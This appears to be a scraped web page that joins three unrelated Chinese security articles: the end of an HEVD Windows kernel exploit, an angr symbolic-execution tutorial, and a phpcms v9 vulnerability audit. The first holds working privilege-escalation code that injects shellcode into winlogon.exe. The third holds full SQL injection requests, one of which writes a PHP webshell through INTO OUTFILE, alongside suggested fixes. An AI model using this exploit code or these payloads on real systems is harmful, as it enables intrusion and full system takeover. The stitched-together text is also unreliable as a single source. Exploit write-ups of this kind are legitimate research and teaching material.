void InjectToWinlogon()
{
PROCESSENTRY32 entry;
entry.dwSize = sizeof(PROCESSENTRY32);
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
int pid = -1;
if (Process32First(snapshot, &entry))
{
while (Process32Next(snapshot, &entry))
{
if (_wcsicmp(entry.szExeFile, L"winlogon.exe") == 0)
{
pid = entry.th32ProcessID;
break;
}
}
}
CloseHandle(snapshot);
if (pid < 0)
{
printf("Could not find process\n");
return;
}
HANDLE h = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if (!h)
{
printf("Could not open process: %x", GetLastError());
return;
}
void* buffer = VirtualAllocEx(h, NULL, sizeof(shellcode), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (!buffer)
{
printf("[-] VirtualAllocEx failed\n");
}
if (!buffer)
{
printf("[-] remote allocation failed");
return;
}
if (!WriteProcessMemory(h, buffer, shellcode, sizeof(shellcode), 0))
{
printf("[-] WriteProcessMemory failed");
return;
}
HANDLE hthread = CreateRemoteThread(h, 0, 0, (LPTHREAD_START_ROUTINE)buffer, 0, 0, 0);
if (hthread == INVALID_HANDLE_VALUE)
{
printf("[-] CreateRemoteThread failed");
return;
}
}
VOID TriggerArbitraryOverwrite(DWORD dwCTLCode) {
DWORD dwRetSize = 0;
HANDLE hDev = GetDeviceHandle();
if (hDev == INVALID_HANDLE_VALUE)
return;
std::cout << "We Get handle is:" << std::hex << hDev << std::endl;
// New Method
HANDLE hCurrentProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, GetCurrentProcessId());
if (!hCurrentProcess) {
std::cout << "[-] Open Current process faiiled" << std::endl;
return;
}
HANDLE hToken = 0;
// the TOKEN_ADJUST_PRIVILEGES will enable/disable the privelage token
if (!OpenProcessToken(hCurrentProcess, TOKEN_ADJUST_PRIVILEGES, &hToken)) {
std::cout << "[-] Couldn't get current process token" << std::endl;
return;
}
// The 0x5 is what??????
DWORD kToken = GetKernelPointer(hToken, 0x5);
DWORD dwTargetOffset = kToken + 0x48;
std::cout << "The target token offest is " << dwTargetOffset << std::endl;
WrtieWhatWhere *WWW = (WrtieWhatWhere*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(WrtieWhatWhere));
WWW->Where = (ULONG_PTR)dwTargetOffset;
//std::cout << "Base address:" << dwBaseAddress << " ExOffset:" << ulExAllocatePool;
UINT64 uAllPrivelage= 0xffffffffffffffff;
WWW->What = (ULONG_PTR)&uAllPrivelage;
// WWW->What = (ULONG)&dwRealExAllocatePool;
// copy exp to target address
std::cout << "Now we will write[" << WWW->Where << "]:" << *(ULONG*)(WWW->What) << std::endl;
// send IOCTL to trigger
OutputDebugString(L"[+] =========== Kernel Mode =============== [+]");
DeviceIoControl(hDev, dwCTLCode, WWW, sizeof(WrtieWhatWhere), NULL, NULL, &dwRetSize, NULL);
OutputDebugString(L"[+] =========== IOCTL Finish =============== [+]");
std::cout << " IOCTL FIINISH "<<std::endl;
// Tro to inject code
InjectToWinlogon();
HeapFree(GetProcessHeap(), 0, WWW);
return;
}
这里附上一个成功的截图 : )
## 4\. 一些思考
### 关于HEVD
* 个人认为是一个很不错的逼迫自己学习的工具，毕竟很多时候人都会懒，以做题目的形式学习比较能够比较有驱动力。
* HEVD毕竟也是一个比较老的教程了，里面有一些攻击在win10上似乎是难以利用，如果向我这样死磕较新版本的时候，往往会被卡特别久（虽然这次找到了一个非常巧妙的利用方式，不过也因此没有仔细了解过去版本中的一些利用，例如gdiobject实现的提权之类的）
### 关于内核漏洞
* Windows 内核确实越来越安全，从做题查到的WP来看，Win7的WP非常五花八门，而到了Win10基本上就只有寥寥几篇，侧面也是应证了内核能够被利用的方式确实变少了
* 漏洞利用有时候非常像是在做数学题，思路一旦想通了一切都变得简单起来，但是很多时候是自己并不知道那种利用方式，所以在某个思路上面钻了牛角尖，这点会非常浪费时间。 | 社区文章 |
# 浅谈angr的缓解状态爆炸策略
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
angr是有名的符号执行工具。众所周知，符号执行最大的问题就是状态爆炸。因此，angr中也内置了很多缓解符号执行的策略。本文主要介绍angr里的一些内置机制是如何缓解状态爆炸的。
## 概述
据我对angr的了解，angr缓解状态爆炸的策略约有以下几种：
（1）simProcedure：重写一些可能导致状态爆炸的函数。
（2）veritesting：动态符号执行和静态符号执行的结合
（3）Lazy Solve：跳过不必要的函数
（4）Symbion：具体执行和符号执行的结合
### simProcedure
为了使得符号执行实践性更强，angr用python写的summary替换了库函数。这些summary成为Simprocedures。Simprocedures可以缓解路径爆炸，反过来也可能引入路径爆炸。比如，strlen的参数是符号字符串。
但是，angr的simprocedure并不完善。如果angr出现了预期以外的行为，可能是由于不完整的simprocedure导致的。为此，官网给出了几种解决方案：
（1）禁用simprocedure（虽然也有可能引入路径爆炸，需要限制下函数的输入）
（2）写一个hook来代替其中的几个simprocedure
（3）修复simprocedure
下面介绍一个simprocedure的例子
from angr import Project,SimProcedure
project = Project("example/fauxware/fauxware")
class BugFree(SimProcedure):
def run(self,argc,argv):
print("Program running with argc=%s and argv=%s" %(argc,argv))
return 0
# 将二进制中的main函数替换为bug free函数
project.hook_symbol("main",BugFree())
simgr = project.factory.simulation_manager()
simgr.run()
当程序执行到main函数时，会去执行BugFree函数，就只会打印一个信息，然后返回。
当进入函数时，参数的值会从哪里进来呢？不管有多少个参数，只要定义个run函数，simprocedure就通过调用约定，自动地提取程序状态里的参数给你。返回值也是一样的，run函数的返回值也会通过调用约定放到状态里的。
事实上，最经常使用simprocedure的地方是用来替换库函数。
关于数据类型，你可能会发现run函数打印出了SAO BV64
0xSTUFF的类。这个是SimActionObject。这个只是bitvector的wrapper。他会在simprocedure里追踪。（在静态分析里很有用）
另外，也许你还会注意到run函数返回的是python的int
0，这个会被自动处理为word大小的bitvector。你可以返回一个普通的数字或者一个SimActionObject。
当你想要去写一个procedure去处理浮点数时，你需要手动指定调用约定。只需要为hook提供一个cc（调用约定）。
cc = project.factory.cc_from_arg_kinds((True,True),ret_fp=True)
project.hook(address, ProcedureClass(cc=mycc))
如何退出SimProcedure呢？我们已经知道了最简单的方法去做这个，就是从run函数返回。实际上，从run函数返回是调用了self.ret(value)。self.ret()是一个知道如何从一个函数返回的函数。
SimProcedures可使用许多不同的函数：
* ret(expr)：从函数返回
* jump(addr)：跳到二进制中的地址
* exit(code)：终止程序
* call(addr,args,continue_at)：在二进制中调用
* inline_call(procedure,*args):调用SimProcedure（inline）并返回结果
如果要在SimProcedure加个条件分支的话，需要直接在SimSuccessors那边的节点上添加。
self.successors.add_successor(state,addr,guard,jumpkind)
如果我们调用二进制中的一个函数，并且在SimProcedure后重新执行呢？有个叫SimProcedure
Continuation的框架可以实现这个。当你使用self.call(addr,args,continue_at)
，其中addr是你需要call的地址，args是需要调用的函数的参数的元组，continue_at是另外一个simProcedure的方法。
下面来看看一个例子，这个例子是将所有共享库初始化的例子，来实现一个full_init_state。initializers是一个初始化队列。每次从里头去一个共享库的地址，然后执行self.call。如果初始化队列为空，则跳转到程序的entry执行。
class LinuxLoader(angr.SimProcedure):
NO_RET = True
IS_FUNCTION = True
local_vars = ('initializers',)
def run(self):
self.initializers = self.project.loader.initializers
self.run_initializer()
def run_initializer(self):
if len(self.initializers) == 0:
self.project._simos.set_entry_register_values(self.state)
self.jump(self.project.entry)
else:
addr = self.initializers[0]
self.initializers = self.initializers[1:]
self.call(addr, (self.state.posix.argc, self.state.posix.argv, self.state.posix.environ), 'run_initializer')
hook symbols，可以使用符号表直接来进行hook。比如，要替换rand函数为一个具体的列表值，可以用以下代码实现。
>>> class NotVeryRand(SimProcedure):
... def run(self, return_values=None):
... rand_idx = self.state.globals.get('rand_idx', 0) % len(return_values)
... out = return_values[rand_idx]
... self.state.globals['rand_idx'] = rand_idx + 1
... return out
>>> project.hook_symbol('rand', NotVeryRand(return_values=[413, 612, 1025, 1111]))
user hooks，除了hook
库函数以外，也可以hook二进制中的普通函数。例子如下，0x1234是函数的地址。length参数控制程序的控制流。在函数执行完这个例子后，下一步就是从hooked的地址的5个字节后面开始执行。
>>> @project.hook(0x1234, length=5)
... def set_rax(state):
... state.regs.rax = 1
### Veritesting
Veritesting方法来源于论文Enhancing Symbolic Execution with
veritesting，论文作者是mayhem的团队。
论文链接见此：<https://dl.acm.org/doi/pdf/10.1145/2927924>
AngrCTF的第12个挑战，就是关于如何使用angr的veritesting模式来缓解路径爆炸。只需要在新建simulation_manager对象时，加上veritesting的参数就可以了。
simulation = project.factory.simgr(initial_state, veritesting=True)
简单说下这个veritesting的原理。
从高层面来说，有两种符号执行，一种是动态符号执行（Dynamic Symbolic Execution，简称DSE），另一种是静态符号执行（Static
Symbolic
Execution，简称SSE）。动态符号执行会去执行程序然后为每一条路径生成一个表达式。而静态符号执行将程序转换为表达式，每个表达式都表示任意条路径的属性。基于路径的DSE在生成表达式上引入了很多的开销，然而生成的表达式很容易求解。而SSE虽然生成表达式容易，但是表达式难求解。veritesting就是在这二者中做权衡，使得能够在引入低开销的同时，生成较易求解的表达式。
先来看个简单的例子，下面的7行代码中，有着2^100次条可能的执行路径。每条路径都要DSE单独地去分析，从而使得实现100%的覆盖率是不太现实的。实际上，只要两个测试样例，就可以达到100%的路径覆盖率。一个包含75个B的字符串和一个没有B的字符串。然而，在2的100次方状态空间里找到这两个测试样例是很难的。
veritest只要47s就能到达bug函数，而其他的符号执行工具比如klee，S2E，Mayhem使用状态合并的策略跑1个小时，都没跑完。Veritest从DSE开始，一旦遇到一些简单的代码，就切换到SSE的模式。简单的代码指的是不含系统调用，间接跳转或者其他很难精确推断的语句。在SSE模式下，首先动态恢复控制流图，找到SSE容易分析的语句和难以分析的语句。然后SSE算法推断出从易分析的节点到难分析节点路径的影响。最后，Veritesting切换回DSE模式去处理静态不好解决的情况。
### lazy
这个思路有点像chopped symbolic
execution论文里提到的。论文地址：<https://dl.acm.org/doi/abs/10.1145/3180155.3180251>
论文里是在klee实现的，开源于：<https://github.com/davidtr1037/chopper>
在angr里也有类似的操作，只需要设置状态为LAZY_SOLVES就可以了。
s = proj.factory.entry_state(add_options={angr.options.LAZY_SOLVES})
依然简单说下原理。拿论文中的例子，下面的程序是libtasn1库里的代码片段。第8行的get_length()函数会导致堆溢出。整体是一个while循环。这个函数会去用get_length去获取当前数据的长度。get_length函数会去扫描输入字符串，并且转为ASN.1
域。然后注意14行，会去递归地迭代执行。或者触发第11行的append_value函数。这个函数会在AST上创建节点。然后还会去多次扫描输入的字符串，检查多次元素，并分配内存给节点。这里会产生状态爆炸主要是由于多次的嵌套调用，只符号执行函数get_length(get_length的参数为长度为n的字符串)，会导致4*n条不同路径。函数append_value会调用多次求解器，同样也会影响符号执行引擎的效率。最后导致无法发现第8行的堆溢出漏洞。
lazy
solves就是应对这种情况而诞生的。它的核心思想是执行过程中的大部分函数和漏洞实际上并不相关。就好比这个程序里，漏洞是由于21行的剩下字节的错误更新导致当调用get_length时会有内存越界读。也就是说这个bug很构造ASN.1表示的那些函数没啥关系（比如append_value）。因此，我们可以快速的跳过这些不相关的函数。
Lazy
Solves策略实际上是在符号执行过程中先跳过函数调用。如果遇到的漏洞点和前面的函数有依赖关系，再会去求解相关的函数的依赖。由于漏洞只和一小部分函数有关联，所以这种策略在一定程度上缓解了状态爆炸。
### Symbion
Symbion来自论文：SYMBION: Interleaving Symbolic with Concrete Execution
他的核心思想主要是在具体执行和符号执行相互切换的一个过程。他的应用场景特别适合：假设只需要符号执行一个程序的特定函数，但是到这个函数前有很多初始化的步骤想要跳过。因为这些步骤和分析无关或者angr不能很合适地模拟。比如，程序是运行在一个嵌入式系统上，而你有访问debug接口的权限，但不太容易复现硬件的环境。
这里的例子是angr博客里的，下面的代码有四个恶意行为。所有这些行为依赖于硬编码的配置。我们可以在地址0x400cd6看到配置的使用方法：二进制里第一个做决定的点。
我们的目标是要去分析二进制的恶意行为以及如何触发它们。我们可以看到第二个payload在基本块400d6a处，我们如何到达它？还有基本块0x400d99呢？这就是符号执行要做的事情。
思路是让binary自动unpack，并且具体执行到0x400cd6的地方，然后同步状态到angr，然后定义一个符号变量，去符号化探索后面的程序。
然而，这个二进制是packed的，并且内存会被unpacking
进程覆盖。软件的断点都会被覆盖。所以我们手动逆向二进制，并且确定了我们可以从程序的开始运行到0x85b853，to have a new stub
available at 0x45b97f。最终就等待4个断点在那个地址命中，我们就可以获取在400cd6的unpacked code了。
下面的代码是官方给出的示例。我也试着跑了一下，但由于avatar2和某些angr的库不兼容，最后跑出来的结果和github里的某个issue一样。
import subprocess
import os
import nose
import avatar2 as avatar2
import angr
import claripy
from angr_targets import AvatarGDBConcreteTarget
# First set everything up
binary_x64 = os.path.join(os.path.dirname(os.path.realpath(__file__)),
os.path.join('..', '..', 'binaries',
'tests','x86_64',
'packed_elf64'))
# Spawning of the gdbserver analysis environment(这里GDB_SERVER_IP和PORT应该要自己设置)
print("gdbserver %s:%s %s" % (GDB_SERVER_IP,GDB_SERVER_PORT,binary_x64))
subprocess.Popen("gdbserver %s:%s %s" % (GDB_SERVER_IP,GDB_SERVER_PORT,binary_x64),
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
shell=True)
# Instantiation of the AvatarGDBConcreteTarget
avatar_gdb = AvatarGDBConcreteTarget(avatar2.archs.x86.X86_64,
GDB_SERVER_IP, GDB_SERVER_PORT)
# Creation of the project with the new attributes 'concrete_target'
p = angr.Project(binary_x64, concrete_target=avatar_gdb,
use_sim_procedures=True)
# 从entry开始使用具体执行
entry_state = p.factory.entry_state()
entry_state.options.add(angr.options.SYMBION_SYNC_CLE)
entry_state.options.add(angr.options.SYMBION_KEEP_STUBS_ON_SYNC)
simgr = p.factory.simgr(state)
## Now, let's the binary unpack itself（concrete execution）
simgr.use_technique(angr.exploration_techniques.Symbion(find=[0x85b853]))
exploration = simgr.run()
new_concrete_state = exploration.stashes['found'][0]
# 为啥这样可以找到unpack code ？ confusing
# Hit the new stub 4 times before having our unpacked code at 0x400cd6
for i in xrange(0,4):
simgr = p.factory.simgr(new_concrete_state)
simgr.use_technique(angr.exploration_techniques.Symbion(find=[0x85b853]))
exploration = simgr.run()
new_concrete_state = exploration.stashes['found'][0]
## Reaching the first decision point
#获取了unpack code后，开始去找符号执行开始的地方
simgr = p.factory.simgr(new_concrete_state)
simgr.use_technique(angr.exploration_techniques.Symbion(find=[0x400cd6])
exploration = simgr.run()
new_concrete_state = exploration.stashes['found'][0]
# 定义符号化的参数，并把符号化的变量存到相应的内存区域
# Declaring a symbolic buffer
arg0 = claripy.BVS('arg0', 8*32)
# The address of the symbolic buffer would be the one of the
# hardcoded malware configuration
symbolic_buffer_address = new_concrete_state.regs.rbp-0xc0
# Setting the symbolic buffer in memory!
new_concrete_state.memory.store(symbolic_buffer_address, arg0)
simgr = p.factory.simgr(new_concrete_state)
print("[2]Symbolically executing binary to find dropping of second stage" +
"[ address: " + hex(DROP_STAGE2_V2) + " ]")
# 符号执行
# Symbolically explore the malware to find a specific behavior by avoiding
# evasive behaviors
exploration = simgr.explore(find=DROP_STAGE2_V2, avoid=[DROP_STAGE2_V1,
VENV_DETECTED, FAKE_CC ])
# Get our synchronized state back!
new_symbolic_state = exploration.stashes['found'][0]
print("[3]Executing binary concretely with solution found until the end " +
hex(BINARY_EXECUTION_END))
simgr = p.factory.simgr(new_symbolic_state)
# 具体执行到结尾
# Concretizing the solution to reach the interesting behavior in the memory
# of the concrete process and resume until the end of the execution.
simgr.use_technique(angr.exploration_techniques.Symbion(find=[BINARY_EXECUTION_END],
memory_concretize = [(symbolic_buffer_address,arg0)],
register_concretize=[]))
exploration = simgr.run()
# 求解的结果
new_concrete_state = exploration.stashes['found'][0]
总的来说，代码可以划分为以下几个步骤：
（1）从entry开始具体执行到0x85b853。（困惑这里的0x85b853是啥？）
（2）连续具体执行四次，终点依然是0x85b853（获取unpacked code？）
（3）具体执行到0x400dc6（决策点的位置）
（4） 从0x400dc6开始符号执行到DROP_STAGE2_V2
（5）再具体执行到结尾，同时把符号化的地址具体化。
## 总结
angr里可能还有其他缓解状态爆炸的思路，比如driller，这里我就没有展开来讲。也可以发现，在缓解状态爆炸的路上，通常都是结合了多种方法来实现的。在各种程序分析技术中切换，或许是未来符号执行发展的路线。
参考资料
1. Simprocedure：（1）angr CTF：<http://angr.oregonctf.org/>
2. Veritesting（1）论文：<https://dl.acm.org/doi/pdf/10.1145/2927924>（2）angr CTF 第12个挑战：<https://ycdxsb.cn/eefc86dd.html>
3. Lazy Solve（1）论文：<https://dl.acm.org/doi/abs/10.1145/3180155.3180251>（2）其他开源工具：<https://github.com/davidtr1037/chopper>
4. Symbion相关（1）官方文档：<https://docs.angr.io/advanced-topics/symbion>（2）论文：<https://ieeexplore.ieee.org/abstract/document/9162164>
（3）博客：<http://angr.io/blog/angr_symbion/> | 社区文章 |
### 0x01 测试场景：
1. 版本信息截图如下：
### 0x02 测试思路：
检测者通过投稿的方式或者其他可能的方式递送存在漏洞的链接，一旦后台用户点击，就会自动添加一个新的管理员（该项需要管理权权限，后台其他重要操作等）或者在一定条件下直接Getshell。接下来分说几个漏洞点，最后进行漏洞复现。
### 0x03 文件报错
这种类型的洞在phpcms中还挺常见的，主要是没有处理好一些包含，单独挖这种洞实际上意义也不大，但是如果要getshell的话却缺一不可，简单列举几种类型。
**1.1 漏洞文件：**
> \phpcms\modules\content\sitemodel_field.php的edit方法中
因为根本没有初始化`$field_type`的值就进行了包含（前面有个if判断， **进到逻辑中才进行赋值，否则不赋值** ）
直接请求/index.php?m=content&c=sitemodel_field&a=edit&modelid=&menuid=&pc_hash=xxxxx
即可爆路径
**修复方案：**
修改\phpcms\modules\content\sitemodel_field.php第124行为：
if(is_file(MODEL_PATH.$formtype.DIRECTORY_SEPARATOR.'config.inc.php')) require (MODEL_PATH.$formtype.DIRECTORY_SEPARATOR.'config.inc.php');
**修改前后对比：**
修改后已无法爆路径。
**1.2 漏洞文件：**
> \phpcms\modules\formguide\formguide_field.php
变量直接进行包含，可爆路径链接：
> /index.php?m=formguide&c=formguide_field&a=public_field_setting
**修复方案：**
修改\phpcms\modules\formguide\formguide_field.php第300行为
if(is_file(MODEL_PATH.$fieldtype.DIRECTORY_SEPARATOR.'config.inc.php')) require (MODEL_PATH.$fieldtype.DIRECTORY_SEPARATOR.'config.inc.php');
**修改前后对比：**
修改后已无法爆路径
**1.3 漏洞文件：**
> /caches/configs/system.php
因为没有判断引入关系，导致该文件可以直接被访问，只有正确引用该文件的情况下，文件中的变量才能被 **正确定义**
，于是直接访问就会导致变量出现问题，直接爆路径链接地址如图
> /cache/configs/system.php
**修复方案：**
在/caches/configs/system.php头部添加
defined('IN_PHPCMS') or exit('No permission resources.');
**修改前后对比图：**
修改后已无法爆路径
### 0x04 后台“鸡肋”注入
Phpcms默认全局会对传递的`$_GET`,`$_POST`等参数值进行addslashes转义处理，再加上变量大部分都会被单引号包裹，很多数值参数也是直接int处理，所以要找到注入还是比较难的。这次的审计中，前台没有再找到注入（之前parse_str函数出过注入），后台倒是找到了一些，不过由于phpcms的密码加密方式，单独的后台注入并没有什么作用，但是如果在当前数据库用户有写权限，并且知道路径的情况下，那就可以直接into
outfile从而getshell了。接下来介绍3种类型的注入.
**4.1 变量没有处理直接进入数据库查询**
> \phpcms\modules\poster\poster.php
在stat函数中
第222行获取变量`$group`的值，没有加单引号，加了`
第226行进入get_one函数，在该函数中
第80行进入db_mysqli.class.php的get_one函数
全程都没有对`$group`的值进行过滤处理，于是产生注入，请求地址如下：
>
> /index.php?m=poster&c=poster&a=stat&pc_hash=xxxxx&id=1&click=1&group=type`%20ORDER%20BY%20(select%201=(updatexml(1,concat(0x5e24,(select%20user()),0x5e24),1)))%23
数据库执行语句为:
SELECT COUNT(*) AS num FROM `phpcmsv9`.`v9_poster_201707` WHERE `pid`='1' AND `siteid`='1' AND `type`='1' GROUP BY `type` ORDER BY (select 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1)))#` LIMIT 1
这里因为addslashes函数的处理，是没办法引入单双引号，所以没办法into outfile
修复方案：
修改\phpcms\modules\poster\poster.php
第222,223行为
if(in_array($_GET['group'],array('username','area','ip','referer','clicktime','type')))
{
$group = " `".$_GET['group']."`";
$fields = "*, COUNT(".$_GET['group'].") AS num";
$order = " `num` DESC";
}
else
{
$group = " `type`";
$fields = "*, COUNT(type) AS num";
$order = " `num` DESC";
}
修改前后对比图：
修改后已无法注入
**4.2 数据库查询直接传入数组导致的注入**
> \phpcms\modules\content\sitemodel_field.php
在add函数中
第51行直接传入`$_POST['info']`数组，也即意味着我们不仅可以控制数组的值，还可以控制键值。
调用\phpcms\libs\classes\model.class.php的insert方法
调用\phpcms\libs\classes\db_mysqli.class.php的insert方法
第193行，对数组的键值调用add_special_char方法进行处理
该函数对值添加`字符作为字段，并且检验是否包含一些特定的关键字，不过用替换为空处理着实不明智。
所以这个函数基本上没有做任何防护处理
第201行调用execute方法执行最后的数据库操作语句
综上，我们可以控制`$_POST['info']`的键来进行注入
测试过程：
在后台：
> 内容 > 内容相关设置 > 模型管理 >
选择一个模型进行字段管理，然后点击添加字段，填写数据后抓包
POST /index.php?m=content&c=sitemodel_field&a=add HTTP/1.1
Host: 192.168.99.127
Content-Length: 856
Cache-Control: max-age=0
Origin: http://192.168.99.127
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
DNT: 1
Referer: http://192.168.99.127/index.php?m=content&c=sitemodel_field&a=add&modelid=12&menuid=59&pc_hash=hvTown
Accept-Language: en,zh-CN;q=0.8,zh;q=0.6
Cookie:
Connection: close
info[formtype]=text&issystem=0&info[issystem]=0&info[field]=heiheihei9&info[name]=heiheiheihei&info[tips]=&setting[size]=50&setting[defaultvalue]=&setting[ispassword]=0&info[formattribute]=&info[css]=&info[minlength]=0&info[maxlength]=&info[pattern]=&pattern_select=&info[errortips]=&info[isunique]=0&info[isbase]=1&info[issearch]=0&info[isadd]=1&info[isfulltext]=1&info[isomnipotent]=0&info[isposition]=0&info[modelid]=12&dosubmit=%CC%E1%BD%BB&pc_hash=hvTown&info[`test`,`setting`,`siteid`,`unsetgroupids`,`unsetroleids`) VALUES ('text','0','heiheihei3','heiheiheihei'or updatexml(1,concat(0x7e,(version())),0) or'','','','','0','','','','0','1','0','1','1','0','0','12','1234\'','{\"size\":\"50\",\"defaultvalue\":\"\",\"ispassword\":\"0\"}','1','','')%23]=1234
在info数组中添加一个数据，键为数据库注入语句
每查询一次就要 **修改一次**
info[field]的值，否则数据库会爆字段重复错误。这里因为addslashes函数的处理，是没办法引入单双引号，所以没办法into outfile
**修复建议：**
指定传入insert的键值或者限定`$_POST['info']`数组中的键为固定数组中的一个,修改\phpcms\modules\content\sitemodel_field.php第51行为
$this->db->insert(array('modelid'=>$modelid,'field'=>$field, 'minlength'=>$minlength, 'maxlength'=>$maxlength, 'formtype'=>$field_type, 'setting'=>$_POST['info']['setting'], 'siteid'=>$_POST['info']['siteid'], 'unsetgroupids'=>$_POST['info']['unsetgroupids'],'unsetroleids'=>$_POST['info']))
或者在第50行后添加
$fields = array('modelid', 'field', 'minlength', 'maxlength','formtype','setting','siteid','unsetgroupids','unsetroleids');
foreach ($_POST['info'] as $k=>$value)
{
if (!in_array($k, $fields))
{
unset($_POST['info'][$k]);
}
}
这里选择后者，便于管理与操作
修改后对比图：
修改后已无法进行注入。
其他：在edit函数中
也是同样直接传入`$_POST['info']`数组，也即意味着我们不仅可以控制数组的值，还可以控制键值，最后造成update型注入，这里不再赘述。修复方法同上。
像\phpcms\modules\content\sitemodel_field.php文件一样因为直接传入数组查询导致注入的还有以下文件，这里只列举，不再赘述：
> \phpcms\modules\content\type_manage.php
>
> add方法insert注入
>
> \phpcms\modules\content\workflow.php
>
> add方法insert注入/edit方法update型注入
>
> \phpcms\modules\formguide\formguide.php
>
> add方法insert注入/edit方法update型注入
>
> \phpcms\modules\member\member.php
>
> add方法insert注入
>
> \phpcms\modules\member\member_menu.php
>
> add方法insert注入/edit方法update型注入
>
> \phpcms\modules\member\member_modelfield.php
>
> add方法insert注入/edit方法update型注入
>
> \phpcms\modules\poster\poster.php
>
> add方法insert注入/edit方法update型注入
>
> \phpcms\modules\poster\space.php
>
> add方法insert注入/edit方法update型注入
>
> \phpcms\modules\search\search_type.php
>
> add方法insert注入/edit方法update型注入
>
> \phpcms\modules\special\content.php
>
> add方法insert注入/edit方法update型注入
>
> \phpcms\modules\special\special.php
>
> add方法insert注入/edit方法update型注入
>
> \phpcms\modules\admin\badword.php
>
> add方法insert注入/edit方法update型注入
>
> \phpcms\modules\admin\category.php
>
> add方法insert注入/edit方法update型注入
>
> \phpcms\modules\admin\copyfrom.php
>
> add方法insert注入/edit方法update型注入
>
> \phpcms\modules\admin\ipbanned.php
>
> add方法insert注入/edit方法update型注入
>
> \phpcms\modules\admin\keylink.php
>
> add方法insert注入/edit方法update型注入
>
> \phpcms\modules\admin\menu.php
>
> add方法insert注入/edit方法update型注入
>
> \phpcms\modules\admin\position.php
>
> add方法insert注入/edit方法update型注入
>
> \phpcms\modules\admin\role.php
>
> add方法insert注入/edit方法update型注入
>
> \phpcms\modules\admin\urlrule.php
>
> add方法insert注入/edit方法update型注入
这里其实还有个思路，先insert要into
outfile的数据到数据库中，然后找到一个二次入库的点，可以getshell，不过随便找了一下，发现phpcms二次入库的点还挺少的，直接放弃。
**4.3 因为变量覆盖导致的注入**
> \phpcms\modules\message\message.php
在search_message函数中
第259行初始化`$where`参数
第260行，将`$_POST['search']`中的键注册为变量
第280行，`$where`参数传入listinfo函数
在listinfo函数中
第58行，`$where`传入count函数
在count函数中
第142行`$where`传入get_one函数
在get_one函数中
第140行进入execute函数执行
综上，因为extract函数的关系，这里`$where参数(通过$_POST['search']['where'])`是可控的，可构造一个不带单双引号的注入
请求如下：
POST /index.php?m=message&c=message&a=search_message&menuid=1620 HTTP/1.1
Host: 192.168.99.127
Content-Length: 208
Cache-Control: max-age=0
Origin: http://192.168.99.127
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
DNT: 1
Referer: http://192.168.99.127/index.php?m=message&c=message&a=init&menuid=1620&pc_hash=0rStVl
Accept-Language: en,zh-CN;q=0.8,zh;q=0.6
Cookie:
Connection: close
search[status]=&search[username]=todaro&search[start_time]=&search[end_time]=&dosubmit=%CB%D1%CB%F7&pc_hash=0rStVl&search[where]=1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1))%23
最后执行的数据库语句为
SELECT COUNT(*) AS num FROM `phpcmsv9`.`v9_message` WHERE 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1))# AND send_from_id='todaro' or send_to_id='todaro'
不过因为phpcms的全局处理，所以如果在`$where`参数中加入单双引号是会过滤的，所以这里也不能into outfile
不过回头又重新看了一下，发现事情还有转机
在listinfo函数将`$where`参数传入count函数后
`$where`会被to_sqls函数进行处理
在该函数中会判断传入的参数，如果是数组，会分别将键值对取出来，键只添加``，而值会加单引号
所以如果如果能给to_sqls函数传入数组，那么在键中就可以加入单双引号！
来重新看一下search_message函数
如果不进入第264行和第272行中，`$where`就能是一个数组
综合第261行的判断，这里只要让`$username`为空、`$start_time`和`$end_time`其中一个为空，即可满足要求。
综上,请求如下数据
POST /index.php?m=message&c=message&a=search_message&menuid=1620 HTTP/1.1
Host: 192.168.99.127
Content-Length: 333
Cache-Control: max-age=0
Origin: http://192.168.99.127
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
DNT: 1
Referer: http://192.168.99.127/index.php?m=message&c=message&a=init&menuid=1620&pc_hash=xxxxx
Accept-Language: en,zh-CN;q=0.8,zh;q=0.6
Cookie:
Connection: close
search[status]=&search[username]=&search[start_time]=1&search[end_time]=&dosubmit=%CB%D1%CB%F7&pc_hash=xxxxx&search[where][replyid`/**//**/union/**/select/**/0x3c3f706870204061737365727428245f4745545b27636d64275d293b3f3e/**/into/**/outfile/**/'C:/www/cms/phpcms_v9.6.3_GBK/phpcms/modules/message/1.php'%23]=1
(绝对路径由前面爆路径所得)
如果当前数据库用户有写权限，即可生成/phpcms/modules/message/1.php文件
我们再来看一下这个操作所需要的权限及位置：
> 位置：模块 > 模块列表 > 短消息 >“搜索处”
>
> 设置该权限：设置 > 管理员设置 > 角色管理 >权限设置>模块>模块列表>短消息
短消息这个功能对于后台用户（总编、编辑、运营总监、发布人员、站点管理员、超级管理员）来说，赋予其这个权限应该不算太高吧？
修复建议：
修改\phpcms\modules\message\message.php文件
第260行为
extract($_POST['search'],EXTR_SKIP);
修改后即可防止变量覆盖，无法getshell。
像\phpcms\modules\message\message.php文件一样因为变量覆盖导致注入的还有以下文件，这里只列举，不再赘述：
> \phpcms\modules\pay\payment.php
>
> pay_list函数/pay_stat函数
>
> \phpcms\modules\admin\ipbanned.php
>
> search_ip函数
>
> \phpcms\modules\attachment\manage.php
>
> init函数
